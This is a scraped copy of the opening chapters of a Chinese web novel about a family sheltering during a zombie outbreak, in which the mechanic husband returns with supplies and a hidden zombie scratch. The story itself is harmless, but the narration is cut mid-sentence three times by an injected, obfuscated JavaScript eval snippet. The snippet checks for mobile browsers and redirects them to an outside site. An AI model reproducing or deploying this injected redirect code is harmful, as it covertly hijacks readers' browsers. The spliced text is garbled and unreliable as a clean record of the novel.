《大爸爸感染丧尸病毒后》 1. 第 1 章 1 ——春节假期,流感频发。请广大市民勤洗手、多通风,预防流感,从小事做起。 ——原定3000年2月4日,于人民广场举办的“除夕夜跨年烟火表演”,因故取消。 ——一级战备!一级战备!所有市民,从即日起,居家留守,减少外出,避免前往人流密集处…… 刺啦……刺啦…… 尖锐刺耳的电流声响起,频道紊乱,广播中断。 取而代之的,是青年轻柔舒缓的歌声。 “任时光匆匆流去,我只在乎你,心甘情愿感染你的气息……”* 一栋四四方方、普普通通的三层自建小楼里。 身材清瘦的漂亮青年,挽起衣袖,围着鹅黄色的碎花围裙,站在二楼厨房灶台前。 煤气炉上架着一口小铁锅,炉火正旺,锅里半满的开水“咕嘟咕嘟”地冒着泡。 青年神色温柔,动作轻缓,握着木勺,从罐子里舀起半勺红糖,送进水里,轻轻搅散。 “人生几何,能够得到知己,失去生命的力量也不可惜,所以我……” 红糖化开,把清水染成红褐色。 青年回过头,弯起眉眼,温声问:“小饱,你想吃花生馅的汤圆,还是芝麻馅的?” 一个三岁小宝宝,就坐在青年身后的餐桌前,手里抓着蜡笔,在日历本上涂涂画画。 听见爸爸跟他说话,小宝宝抬起头,望着天花板,认真想了想:“我都要吃!” “更想吃哪个?” “嗯……”小宝宝难以抉择,戳着手指头,“点落点滴滴,点到谁,就是……” “快,水要烧干啦。” “就是它!芝麻馅!” “那给你煮两个芝麻馅、一个花生馅的,好不好?” “好,谢谢爸爸。”小宝宝用力点点头,又问,“爸爸,为什么今天要吃汤圆啊?” 青年转回头,从包装袋里挤出两颗冻得邦邦硬的汤圆,丢进锅里,耐心回答:“因为今天是正月十五,元宵节呀。” “那大爸爸呢?大爸爸不回来跟我们一起过节吗?” “大爸爸……”青年的动作顿了一下,“大爸爸出差去了。” “大爸爸什么时候回来呢?大爸爸出差有汤圆吃吗?” “当然有啦,等他回来,爸爸再煮新的给他吃。” “好吧。” 热腾腾的水汽,从厨房飘到餐厅。 青年背对着餐桌,握着木勺,专心搅动锅里白白胖胖的汤圆。 小宝宝握着蜡笔,低下头,看向自己还没完成的作品。 他正在画烟花。 先用黑色蜡笔把整张纸都涂黑,再用其他颜色画烟花。 红色、绿色、黄色,还有…… 还有什么颜色呢? 小宝宝抬起头,透过厨房百叶窗的缝隙,望向窗外黑洞洞的夜空,不由地发起呆来。 今天是3000年2月19日,农历正月十五,元宵节。 他叫林小饱,他的爸爸叫林早,是一名幼儿园老师,他的大爸爸叫傅骋,开了一家修车店。他家住在小城新城区幸福街3号,他家的电话号码是2792…… 爸爸和大爸爸本来都说好了,除夕那晚,带他去人民广场看烟花的。 他们也确实去了。 大爸爸开着皮卡车,爸爸坐在副驾驶,他坐在后排的儿童安全座椅上。 路上很拥堵,街上很热闹,到处都挂着红灯笼,放着新年歌曲。 就在他们即将抵达广场的时候,广场上忽然有人打架。 很多人围在一起,挤成一团。 他们吵着、闹着、打着,还有红红的东西溅起来,擦着车窗飞过去。 没等他看清楚—— 爸爸解开安全带,扑到后排,捂住他的眼睛。 大爸爸骂了一句脏话,猛打方向盘,狠踩油门。 他什么都没看见,就被爸爸和大爸爸带回了家。 大爸爸冲上楼,把家里的门窗全部锁好。 爸爸抱着他,告诉他,他看见的红红的东西,应该是西瓜汁或者番茄酱。 他也想吃,可是爸爸说,冬天不能喝西瓜汁,会拉肚子的,也不能单独吃番茄酱,因为没有薯条搭配。 好吧。 从这天起,他们的生活,发生了翻天覆地的变化。 第二天,正月初一,爸爸和大爸爸没有带他出去拜年,邻居爷爷、叔叔阿姨,也紧紧地锁着大门。 第三天,街上传来老虎狮子一样的吼叫,爸爸和大爸爸把窗帘拉起来,不让他往外面看。 第四天,他最爱看的动画片《喜羊羊与灰太狼》停播,变成他看不懂的新闻节目。 第五天,大爸爸开着皮卡车出门探险,带回三袋面粉、五袋大米,还有两袋蔬菜。 第六天,第七天…… 第…… 林小饱掰着手指头。 他只有十根手指头,超过“十”他就不会算了。 忽然,林小饱灵光一闪,低下头,额头抵在餐桌边缘,两条小短腿互相一蹭,把脚上的小棉鞋蹬掉,指着藏在毛绒袜子里的大脚趾。 十一! 第十一天,大爸爸又开着车出门探险了。 一直到现在,都还没回来。 他和爸爸都很想大爸爸。 正巧这时,汤圆熟了。 林早弯下腰,关掉煤气罐阀门。 “小饱,把东西收起来,我们要吃饭了。” “好。” 林小饱乖乖应了一声,合上日历本,把蜡笔放回盒子里,最后朝爸爸举起小手。 林早摘下围裙,走上前,双手穿过他的胳肢窝,把他从宝宝椅里抱出来。 他低下头,定睛一看,呆了一下:“你的鞋子呢?” 林小饱不好意思地笑了笑,试图转移话题:“爸爸,我会数到‘十一’了!” 林早笑得温柔,配合地问:“是吗?这么厉害啊?” “那当然!”林小饱挺起小胸脯。 林早把林小饱放在餐椅上,蹲下身,伸长手,把他蹬到桌子底下的小棉鞋捡起来。 林小饱接过鞋子,自己穿好。 “去洗手吧。” “好。” 林小饱从椅子上滑下来,一颠一颠地跑进卫生间,踩在自己专属的小板凳上,打开水龙头,认真搓搓小手。 林早则转过身,回到厨房里,把晚饭端出来。 家里剩余的食物不算少,但也绝对算不上多。 还是得省着点吃。 所以,林早只用一颗拳头大小的土豆、半根胡萝卜、一截腊肠,还有半杯大米,就做出一锅香喷喷的焖饭。 土豆和胡萝卜,是傅骋上次出门,带回来的。 腊肠是春节前,傅骋买了十斤猪腿肉,去菜市场找店铺加工的。 林早先把腊肠煎过,把腊肠自带的香味和油脂激发出来,再把土豆丁和胡萝卜丁放下去一起炒,最后加半勺生抽提味。 这点配料,就足够把米饭染得油光发亮,粒粒分明。 今天是元宵节,林早还按照千年前的传统,煮了六颗汤圆,讨个好意头。 林小饱洗好手,从板凳上跳下来,走到爸爸面前,举起小手,给爸爸检查。 林早看了一眼,把他抱起来,放回宝宝椅上,又给他戴上和自己围裙一样花色的鹅黄碎花饭兜。 他先给林小饱盛了半碗饭,放在他面前,叮嘱道:“有点烫,要吹一吹再吃。” “嗯。”林小饱不用大人喂,左手扶碗,右手握勺,舀起一勺焖饭,吹了两口,塞进嘴里,“呼呼——好好吃!爸爸好厉害!” “慢慢吃,别着急。”林早搬出餐椅,在他身边坐下,也开始吃饭。 土豆糯糯的,胡萝卜软软的,腊肠香香的、甜甜的,很有嚼劲。 米饭吸收了所有食材的香气,一口下去,格外满足。 就是不知道…… 傅骋现在在哪里,吃了饭没有,吃的是什么。 林早叹了口气,垂下眼睛,手里的勺子也放下了。 傅骋出去快五天了,给他打电话也没信号,不知道…… “爸爸,我还要再来一碗!” “啊?”林早回过神来,转头对上林小饱高高举起的空碗,“好。” 给林小饱盛了一碗饭,林早低下头,重新握紧勺子,也往自己嘴里塞了一大口焖饭。 用力嚼嚼嚼,用力咽下去。 现在情况特殊,他没有时间,也没有力气,去唉声叹气。 好好吃饭,好好保重身体,就是最重要的。 * 父子二人吃完饭,又一起把碗洗了。 电视前几天就不能看了,一直是雪花屏。 就算偶尔能看,也没有林小饱爱看的动画片。 林早只好陪着林小饱画画,把晚饭前没画完的烟花画完。 “爸爸,烟花还有什么颜色呢?” “还有……金色、蓝色、橙色。去年爸爸和大爸爸带你看过的呀。” “可是我都忘记了。”林小饱小声问,“我们什么时候可以再出去看烟花啊?” “现在还不行。你想看烟花的话……”林早撑着头,想了想,“去年春节,我们在广场上看烟花,大爸爸用DV机拍下来了。我们看光盘里的烟花,好不好?” 林小饱眼睛一亮:“好!” “那我们先去洗澡,洗一个舒舒服服的热水澡,换上干干净净的睡衣,躺在被窝里看烟花,怎么样?” “很好!”林小饱无比心动。 “走!” 林早牵着他的小手,带着他上了三楼,来到浴室。 两个人没出过门,家里也不脏。 林早往脸盆里放了半盆温水,简单给林小饱擦了擦身上,换上绿色的小恐龙毛绒睡衣,就可以了。 他把林小饱抱到床上,让他盖好被子,在床上等着,自己则一步三回头地跑进浴室,快速冲了个澡。 没五分钟,他就穿着同款中恐龙睡衣出来了。 “小饱准备好了吗?” “我准备好了!”林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920614|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小饱迫不及待,“爸爸准备好了吗?” “爸爸正在准备呢。” 林早和傅骋的房间里,是有电视的。 林早在床铺前面的电视柜旁蹲下,拉开抽屉,在一堆刻录好的光盘里翻了翻,找到去年春节那张。 他们家目前还没有断电,只是没有信号而已,DVD机还是能用的。 按下开关,把光盘放进去,开始播放。 “小恐龙”扭着屁屁,往旁边挪了挪:“爸爸,快来!” “来啦!”林早上了床,钻进被窝,抱住林小饱。 父子二人靠着枕头,坐在一起。 林早的脸颊贴着林小饱肉肉的小脸蛋,两个人专心看电视。 ——视频开始播放,镜头震动摇晃。 男人硬朗坚毅的面庞,猝不及防闯进屏幕。 林小饱指着屏幕:“大爸爸。” 林早握住他的小手,温声应道:“对呀,大爸爸。” ——男人身形高大,剃着寸头,大冬天只穿着半旧的黑色工字背心,露出宽厚的肩背和结实的手臂,模样很是凶悍。 他皱起眉头,神色阴阴,目光沉沉,来来回回,反反复复,摆弄着数码摄像机。 小小的摄像机在他手里,就像玩具一样。 下一刻,男人开口,说出来的话却是—— “老婆,新买的DV机我不会用。老婆,有文化的老婆,快来帮帮我。” “儿子,你过来给大爸爸看看,这样是开始录了吗?” “老婆、儿子,为什么都不理我?” 镜头外,传来林早的声音。 “我在补教案!你儿子在上厕所!不要吵我们啦!” 林早在他面前,从来有恃无恐,说话声音大了许多,语气也凶了许多。 “噢。”男人闷闷地应了一声,自己研究好了,举起摄像机,安安静静地拍摄他们的家。 这是卧室,这是书房,这是客厅。 客厅里的电视还开着,播放着林小饱最爱看的动画片。 男人一面推进镜头,一面道:“儿子爱看的,但是他在拉屎——噢,在如厕,老婆说的,讲话要文雅。把这段拍下来给他看,我真是个好大爸爸。” 动画片拍到一半,厕所里传来林小饱的呼喊:“大爸爸!大爸爸——” “来了。”男人刚准备举着摄像机过去,忽然想起什么,赶紧放下。 儿子在如厕,不能拍。 电视机前,三岁的林小饱害羞地转过身,扑进爸爸怀里。 什么时候开始放烟花啊?烟花到底在哪里呀? 他想看烟花,不想看自己上厕所。 林早了然问:“要不要快进一下?” “唔……”林小饱摇摇头,“不要。” 他回过头,两只手捂着脸,小心翼翼地从指缝里偷看。 好吧,看一下也可以。 ——就这样,傅骋把他们家里里外外拍了个遍。 一直到傍晚时分,太阳下山,一家三口才准备去看烟花。 临出发前,傅骋还举着DV机在拍。 “我最爱的儿子,林小饱。可爱,特别可爱。” “我最最最爱的老婆,小枣。一颗小甜枣,特别特别可爱。” “我是修车的,我没有文化,形容不出来。现在我们要去看烟花了。” 林早和林小饱无奈地站在他面前,额头顶着镜头,异口同声道:“骋哥/大爸爸,别拍了,快出发!” 白皙的小圆脸蛋、抿起的小红嘴巴,还有黑漆漆、圆溜溜的大眼睛,眨巴眨巴,扑闪扑闪,林早和林小饱简直像是从一个模子里刻出来的。 画面摇晃两下,很明显,傅骋已经被迷倒了。 “好好好,出发出发。” 终于,电视机里的一家三口,要去看烟花了! 可就在这时—— 床上的林小饱眼睛一闭,脑袋一歪,直接倒了下去。 大爸爸的废话实在是太多了。 他撑不住了。 林早上前,伸出一根手指,试了一下他的鼻息。 原来是睡着了。 林早哑然失笑,没有喊他,只是默默地把电视和顶灯关掉,把他抱进被窝里。 那就睡吧。 林早在林小饱身边躺下,隔着被子,拍拍他的小胸脯。 睡吧,睡一觉起来,大爸爸就回家了。 傅骋就……回家了…… 拍着拍着,林早自己也睡着了。 世界一片漆黑寂静。 墙上的时钟滴答滴答地走着,秒针和分针转过一圈又一圈,时针走过一格又一格。 不知道过了多久,窗外忽然传来汽车轮胎与地面摩擦的声音。 林早被吵醒,迷迷糊糊地揉着眼睛,从床上坐起来,环顾四周。 怎么了?什么声音? 熟悉的声音越来越急、越来越快、越来越近。 林早倏地清醒过来,掀开被子,连鞋子都来不及穿,就像一只小鸟儿,飞奔下楼。 “骋哥!” 2. 第 2 章 2 刺眼的远光车灯撕裂黑暗,刺耳的刹车声音划破寂静。 哐当—— 一声巨响。 林早跑到一楼车库,弯下腰,双手拽着卷帘门底部,咬紧牙,用尽全身力气,往上一甩。 闸门打开。 通体漆黑,高大威猛的重型皮卡车,如同野兽奔袭,挟带腥风血雨,呼啸而来。 远光灯晃过林早清澈明净的双眼,劲风扬起林早散落在额前的头发。 林早不但不躲,反倒往前跑了两步,迎上前去,用力朝车子挥挥手。 “骋哥,这里。” 车里驾驶座上的男人,显然也看见他了,一手扶稳方向盘,一手熟练操作。 改灯、换挡、减速、转弯,一气呵成。 皮卡车一个漂移,顺顺当当地停在林早面前,距离他只有不到一截手臂的距离。 这个距离刚刚好,车门打开,不会撞到林早。不管是林早要上车,还是男人要下车,都很方便。 算是男人的肌肉记忆。 庞然大物归巢,在爱人面前俯首称臣。 林早扑上前去,轻轻敲了敲车窗玻璃,笑得眉眼弯弯:“骋哥?骋哥!” “你终于回来了,我和小饱可想你了,刚刚还在看你拍的DV。我还想着,睡一觉起来,你就回来了,结果你真的回来了。” “你饿不饿?今天是元宵节,按照古代人的传统,是要吃汤圆的。现在应该还没过零点,你快下来,我给你煮汤圆。” 林早一边说,一边伸手去扒拉车门把手。 “傅骋,不要装酷啦,快点下来。” “要我请你吗?骋哥,请下车?” “老公,请下车!” 可是…… 车门锁住了,根本打不开。 林早说得这样起劲,车里的人却连一点回应都没有。 他抬起头,疑惑地看向车里。 车窗玻璃升到了顶,上面还贴着防窥膜,完全看不清车里的场景。 林早下意识觉得不对劲,拽着车门的手缓缓松开,声音也冷静下来。 “傅骋,你干嘛不说话?快点下来,不要吓我!” 林早看不见的皮卡车里—— 身材高大的男人靠坐在驾驶座上,仰起头颅,双眼紧闭,喉结上下滚动。 他穿着DV里同款的黑色工字背心,肩膀胸膛依旧宽厚,手臂肌肉依旧结实。 只是在寒冬的夜晚,他的寸头上、额头上、肩膀上,豆大的汗珠一颗一颗滑落。 并且,他的右手臂上,挂着三道长长的伤痕。不像是割伤或砍伤,倒像是被野兽尖利的爪子抓伤的。 像是极力忍耐着什么,又像是竭力和什么东西做着对抗。 傅骋死死咬着牙,一声不吭,一动不动。 直到车窗外的林早真的着急了。 他拍打着车窗,大声问:“傅骋,是你吗?” “你别吓我了,快点说话啊!出什么事了?你把门打开!” “你……你是傅骋吗?你到底是谁?你为什么会在我老公的车上?我老公人呢?你把他弄到哪里去了?” “你不说话是吧?我要砸玻璃了!你……你给我等着!” 林早一边放狠话,一边转过身,就要去找一个合适的武器。 下一秒,车窗玻璃降下一些,车里传来林早无比熟悉的声音—— “小枣,是我。” 男人喘着粗气,短短四个字,说得低沉沙哑,仿佛用尽了所有的力气。 林早眼睛一亮,连忙又扑回去。 玻璃只降下来三厘米,皮卡车底盘又高。 林早踮起脚,却还是看不见车里的情形。 但只要能听见熟悉的声音,他就放心了。 “傅骋!你吓死我了,我还以为是坏人害了你,开了你的车!” “没事。”男人强撑着,往座椅上靠了靠,“我没事。” “我一直喊你,你怎么不说话?” “我……”傅骋顿了顿,“我们还没对上暗号。” “暗号?噢。”林早想起来了。 现在情况特殊,为了安全起见,傅骋出门的时候,只带了车钥匙。 家里的钥匙,他一把都没带。就怕钥匙丢了,被有心人捡到。 他们约好了,傅骋回来的时候,林早给他开门。 必须要对上暗号,确认是他,才能放他进来。 林早太激动,一时间忘记了。 林早抬起头:“那我问你,我叫什么名字?” “小枣。”傅骋扯起嘴角笑了笑,“小甜枣。” “大名。” “林早。” “我们的儿子叫什么名字?这次要说小名。” “林小饱。” “嗯。”林早点点头,“确认是你没错,快下来吧。” “我……”傅骋顿了顿,“先把车开进去。” “好。” 林早退后两步,给他让出路来。 傅骋靠在驾驶座椅背上,同林早讲了两句话,原本铁青的面色有了血色,灰败的双眼也有了亮光。 他长长地舒出一口气,双手扶住方向盘,正准备打火,忽然感觉右臂上的伤口开始发作。 他咬着牙,把疼痛的闷哼声哽在喉咙里,咽回肚子里。 老婆儿子就在家里等他。 回家几百公里,他都开回来了。 现在他就在家门口,短短几百米,他不可能开不进去。 傅骋死死咬着后槽牙,抬起左手,重重抓了一把手臂上的伤。 原本已经结痂的伤口再次裂开,鲜血淋漓。 傅骋从副驾驶上拿起一条粉色毛巾,胡乱擦拭血迹。 毛巾是林早洗干净、叠整齐,放在这儿的,可以擦雨水、擦水雾,可以擦去不小心洒在座椅上的奶茶,现在—— 当然也可以为他处理伤口。 林早在旁边等着,见他久久没有动作,正准备上前。 下一秒,傅骋放下毛巾,点火挂挡。 皮卡稳稳向前,进入车库。 林早抿了抿唇角,强自压下心里不安,在车子完全进入车库之后,小跑上前,把卷帘门放下来。 他感觉得到,傅骋一定有事情瞒着他。 可能是受伤了,也可能是饿坏了。 但是不管怎么样,先把门关上,安全最重要。 另一边,车子停稳。 傅骋卸下一口气,靠在椅背上,手搭在车门把手上。 他的理智告诉他,不能下车,不要下车。 可是他的情感—— “咔哒”一声轻响。 他自己锁上的车门,又被他自己打开了。 傅骋再次拿起毛巾,擦去身上汗珠尘土,又拿起一件崭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅骋下意识要把身上的大衣脱下来给他穿,刚解开一颗扣子,忽然又想起什么,停下了动作。 不行,不能,不可以。 林早望着他,有些疑惑:“怎么了?” “没怎么。”傅骋稍稍松开手,“上去把鞋和外套穿上。” 林早却看着他的衣服,歪了歪脑袋,目光疑惑:“你出门的时候,穿的是这件衣服吗?你有这件衣服吗?我没给你买过这件衣服吧?” 傅骋面不改色,解释道:“穿出去那件弄脏了,在外面又买了一件。” “是吗?”林早熟练地伸出手,要摸摸他的衣襟,“多少钱买的?我看看料子……” 话还没完,傅骋就握住了他的手。 在林早再次开口之前,傅骋托起他的腿,直接把他抱了起来。 “上去穿衣服。” “这套睡衣很暖和的,我不冷。” “去。” 一家三口住的是自建房,一共三层楼。 一楼是傅骋的修车店和车库。 二楼是客厅、厨房和餐厅,三楼就是卧室。 傅骋抱着林早,来到三楼。 他在楼梯口停下,单手托着林早,腾出一只手来,从鞋柜里拿出林早的棉鞋,放在地上。 林早穿好棉鞋,傅骋却不再抱着他往里走,只是拍了拍他的屁股:“进去把我那件军大衣穿上。” 林早越发觉得古怪,朝他张开双手,疑惑地看着他:“都抱到这里了,不抱我进去吗?” “我——”傅骋别开目光,低声道,“身上脏,就不进去了。” 3. 第 3 章 3 奇怪,好奇怪。 在傅骋的强硬要求下,林早独自朝卧室走去。 楼道里、走廊上,因为电流不稳,白炽灯轻微频闪。 林早走到卧室门前,一只手扶着门,下意识回过头,看向傅骋。 傅骋双臂环抱,双脚分开,仍旧立在原地,如同门神一般,不肯越雷池一步。 可他越是这样,林早就越觉得不对。 不对,不对不对不对! 傅骋从来不会穿这样难打理的呢子大衣,傅骋从来不会把他买的衣服丢在外面,傅骋更不会用这样自卑难堪的语气,说自己身上脏。 傅骋在回到家里,见到他的时候,绝对不会只满足于刚才那样简单的拥抱。 傅骋会抱他,但应该是用尽全身力气,要把他整个儿揉进怀里,狂风暴雨般的拥抱。 傅骋会亲他,会吻他,会咬他。 会把他按在怀里,耳鬓厮磨,温存整夜都不够。 今晚的傅骋,真的好奇怪。 他到底……在压制什么? 这样想着,林早的脸色不由地越来越凝重,目光也越来越疑惑。 对上林早询问的目光,傅骋分明有些心虚,垂下眼睛,避开对视。 他只是抬起手,朝林早摆了一下。 ——快进去穿衣服。 林早抿了抿唇瓣,打定主意,推开房门,快步走了进去。 他不穿外套,傅骋一定不肯罢休。 先穿上,穿好了马上出去。 墙上的时钟依旧滴答滴答地走着。 林早借着走廊上透进来的光,看了一眼。 现在是凌晨一点十三分。 林小饱抱着枕头,趴在床上,睡得正香,还哼哼唧唧地说着梦话。 “爸爸,我想吃草莓馅的汤圆……” “大爸爸,再给我做一个会跑的玩具车……” “哼哼!” 林早轻轻叹了口气,不想吵醒他,也就没开灯。 他摸黑走到床边,给林小饱掖好被子,又走到衣柜前,拿出傅骋的军大衣。 做完这些事情,他只用了不到一分钟。 林早抱着大衣,匆匆忙忙跑出房门。 还好,傅骋还在原地等他。 林早松了口气,小跑上前。 傅骋从他手里接过大衣,在他身后抖落开:“小枣,手。” 林早回头看了一眼,举起两只手,伸进衣袖里。 傅骋很高,有190,足足比林早高出一个头。 他的大衣穿在林早身上,简直像一个小铁桶。 傅骋双手拽着衣襟,往前拢了一下,从下到上,仔仔细细地给他扣上扣子。 林早温声问:“骋哥,你饿不饿?我给你煮面条或者汤圆吃,好不好?” “不用,我不饿。” 傅骋轻轻扶了一下林早的脸颊,让他抬起头来,给他扣好最后一个到顶的扣子。 “车上还有东西,我下去搬上来。你跟我下去看看。” “明天再搬不行吗?” “不行。” 傅骋难得这样坚决,不吃林早撒娇这套。 “好吧。” 穿好大衣,林早跟着傅骋,回到一楼。 皮卡车就停在车库里,车后斗盖着一块巨大的黑色防水布,把东西遮得严严实实的。 傅骋让林早站在旁边,走上前,解开卡扣,用力一拽。 防水布落下,车上由大米垒成的城池,展现在林早面前。 林早不敢相信,一双眼睛睁得圆溜溜的,不自觉往前走了两步。 只见一袋一袋五十斤装的大米,被傅骋用垒砖块的法子,交错堆叠,垒在一起。 路上运输颠簸,袋装大米嵌在一起,越发严丝合缝。 林早匆匆扫了一眼,大概估了一下。 这里至少有五十袋大米。 而且包装不尽相同。 可以想见,傅骋应该是跑了很多地方,才凑到这些粮食。 林早回过神来,心中一惊,转头看向傅骋:“怎么买这么多?现在外面很乱吗?” “没事,别怕。”傅骋扳开后斗挡板,把最顶上的那袋大米拽下来,扛在肩上。 林早连忙上前,帮他扶稳:“现在外面很多……那个吗?” 那两个字,林早说不出口。 “不算很多。”傅骋把米袋扛在左肩上,又侧过身,去扛另一袋。 “那……” “多囤点,以后你和小饱就不用再出门了。” 傅骋扛起两袋大米,用手扶着,轻轻掂了掂,调整好位置,面不改色地朝楼上走去。 林早咬了咬牙,也努力抱起一袋大米,追了上去:“那……那放在楼下就好了,干嘛搬到楼上?” “你和小饱做饭方便,不用下楼。”傅骋脚步轻快,一步一个台阶往上,“财不外露,东西藏在楼上,你们也更安全。” 他转过头,看见林早也抱着一袋米,面色一沉。 “小枣,你放下,我来搬。” “不要,我要帮你。嘿咻——” 林早双手环抱,感觉米袋在自己怀里往下滑,在楼梯上停下,抬起腿,把东西往上顶了顶,整个人也往后仰。 “这么多米,你一个人搬到什么时候?我们今晚先搬两趟,剩下的以后再说。” “以后——” 他没有以后了。 傅骋顿了顿,正色道:“今晚搬完。” “啊?”林早惊讶,眼睛瞪得更圆了。 傅骋加快脚步,一鼓作气,把两袋米扛到三楼,又折返回来,从林早手里接过米袋,拽着两个角,轻轻松松提了上去。 傅骋推开儿童房的门,把三袋米藏在林小饱不常睡的小床下面,放置整齐。 傅骋看了看旁边的空位,估算道:“还能再放两袋。” 林早更惊讶了,呆呆地看着他:“骋哥……” 傅骋从他身边走过,握了一下他的手:“我下去扛,你别跟着我跑来跑去的,太辛苦了。” “傅骋!” 林早还想再说些什么,可是傅骋已经下楼去了。 上上下下,来来回回。 傅骋就像是不知疲倦的永动机,每趟扛两袋米,一趟一趟,把五十袋大米全部扛到楼上。 他把大米藏在床底,藏在柜子里,藏在桌子底下。 实在没地方藏了,他甚至想把地砖撬起来,把粮食藏进去。 林早跟在傅骋身后,见他明显不对劲,连忙扑上前去,抱住他的手臂,喊了一声:“骋哥!” 傅骋身形一震,对上林早担忧的目光,扶着额头,清醒过来:“对,不能撬地砖,你和小饱容易被绊倒。” 他放下手里的铁锤和撬棍,站起身来,牵起林早的手,再次朝楼下走去。 “小枣,除了大米,我还带了蔬菜水果回来。” “傅骋,到底出什么事了?你今晚怎么回事?” 傅骋没有回答,只是牵着林早往前走。 不知道是多少次,两个人来到车库里。 车后斗上,原本垒成城墙的大米已经被搬空了,用蓝色塑料箱和编织袋装着的蔬菜水果,出现在林早眼前。 傅骋把东西一样一样卸下来。 “这两袋是土豆,这两袋是白菜,还有胡萝卜、洋葱。麻袋里都是放得久的菜,可以慢慢吃。还有黄豆绿豆,可以煲汤,也可以催芽。” “这箱是生菜,这箱是蘑菇,还有西红柿。箱子里的是不好放的,你和小饱要快点吃完,但是生菜和蘑菇我都留着根,应该能放久一些。西红柿也可以把种子挖出来,种在花盆里试试。” “水果我也买了几箱。苹果、橙子和柚子好放,就多买了一点,还有两挂香蕉,你和小饱抓紧吃。这个香蕉磕坏了,你们别吃,我吃掉。” 傅骋带回来的东西很多,堆在车上像一座小山,铺在地上像一片汪洋。 傅骋在卸货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920616|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,林早就站在旁边,认认真真地看着他。 他不在意傅骋带了多少食物回来,他在意的是—— 傅骋说的话。 傅骋的每一句话,都在安排他和小饱接下来的生活。 每一句话都只有“你和小饱”,每一句话都不见他自己的踪影。 每一句话……都像是遗言。 林早站在旁边,一瞬不瞬地盯着傅骋,藏在军大衣里面的身子微微发着抖,掩在衣袖里的双手也不自觉攥了起来。 到底是怎么回事? 傅骋在给他们家安排未来的时候,怎么会把自己剔除在外? 傅骋似有所感,背对着林早,卸货的动作停顿一下。 但他不敢回头,很快就调整过来,从车子另一边绕过去,打开皮卡车后排座椅的门。 后排座椅也被塞得满满当当的。 不用多说,皮卡车绝对超载了。 “这边有鸡蛋,我直接去养鸡场买的。你和小饱一天吃一个,保证营养。本来还买了两只活鸡,结果路上飞走了,我没追上。” “猪肉也有。现在天气不热,但也要放进冰箱里冻起来。不知道什么时候会断电,现在腌腊肉肯定来不及,你和小饱抓紧时间吃。” “剩下就是一点日常用品,洗发水、沐浴露、卫生纸,还有……” ——“骋哥?” 林早轻轻地唤了一声,打断了他的话。 隔着皮卡车,傅骋把东西都搬下来,顿了顿,继续道:“食物就是这么些,足够你和小饱吃一两年的。” “外面那些东西——” “长得和人差不多,就是人变的,但是没脑子,见人就咬。被抓了咬了,没几天就会变得和它们一样。” ——“傅骋!” 林早心里一沉,像是察觉到了什么,加重语气,又喊了他一声。 傅骋别过头去,胡乱抹了把脸,说话声音越发低沉下去。 “就和我们第一次约会,我故意使坏,带你去电影院看的丧尸片一样。” “你当时吓得不敢看,直往我怀里钻。” “小枣,我知道你会怕,但是……” 话还没完,林早一把丢开手里的东西,飞奔上前。 他像一只捕猎的小猫,倏地扑上前,拽住傅骋的衣服,把他拉到自己面前。 傅骋喊了一声:“小枣!” 林早咬着唇,一言不发,目光坚定,用力拍开他的手,解开他的大衣。 他早就看这件大衣不顺眼了! 他早就想把傅骋身上这件大衣扒下来了! 他早就…… 下一刻,林早霍然拽开傅骋的大衣。 因为太过用力,大衣缝线被他扯断,纽扣崩开,掉在地上。 傅骋放弃抵抗,站在他面前,乖顺地低下头:“小枣。” 又下一刻,傅骋被丧尸抓伤的右臂,赫然出现在林早眼前。 三道抓痕,深可见骨。 因为傅骋一直在搬东西,抬手活动,伤口一直都没有结痂。 鲜血汩汩淌出,与衣料黏连在一起。 难怪。 难怪傅骋要穿黑色的大衣,难怪傅骋死都不肯把这件衣服脱下来。 难怪…… 林早死死攥着傅骋的衣襟,脸色惨白,整个人不自觉发着抖。 他怎么没早想到?他怎么没早发现? 他怎么能听傅骋的话,让他一直搬东西? 他早该这样干的,他早该察觉到不对劲的。 他早该…… 傅骋低下头,看着林早的脸,最后放缓语气,低低地喊了他一声:“小枣,别难过,我没事。” 就在林早愣神的时候,“啪嗒”一声轻响传来。 似乎有什么东西从傅骋怀里掉出来,落在地上,骨碌碌地滚远了。 下一瞬,林早抬起头,刷地一下,就红了眼眶。 那是一颗,用锡箔纸包装的……巧克力糖。 4. 第 4 章 4 黑暗,鲜血。 嘶吼,挣扎。 林早平躺在床上,眉头紧蹙,双眼紧闭。 多年前看过的丧尸电影,在此时此刻,齐齐涌入他的脑海。 遍地硝烟的混乱世界,随风飘扬的碎皮碎肉。 破破烂烂的感染丧尸,摇摇摆摆地朝他走来。 血盆大口,尖利犬牙。 一口下去,血肉飞溅。 ——啊! 林早下意识抓紧身下床单,脑袋胡乱摇晃着,用力挣扎。 不要,不要咬我。 我的血不好喝,我的肉也不好吃的。 下一刻,梦境里的丧尸抬起头来,赫然是傅骋的模样。 硬朗坚毅的面庞,狼一样锐利的眼睛,强悍凶猛的气势。 傅骋两只手像铁钳子一样,牢牢钳住他的肩膀,攥得他生疼。 傅骋抬起头,咧开嘴,露出血淋淋的唇齿,探出舌尖,扫了一下犬牙,朝他露出一个阴恻恻的笑。 是傅骋,是他的爱人。 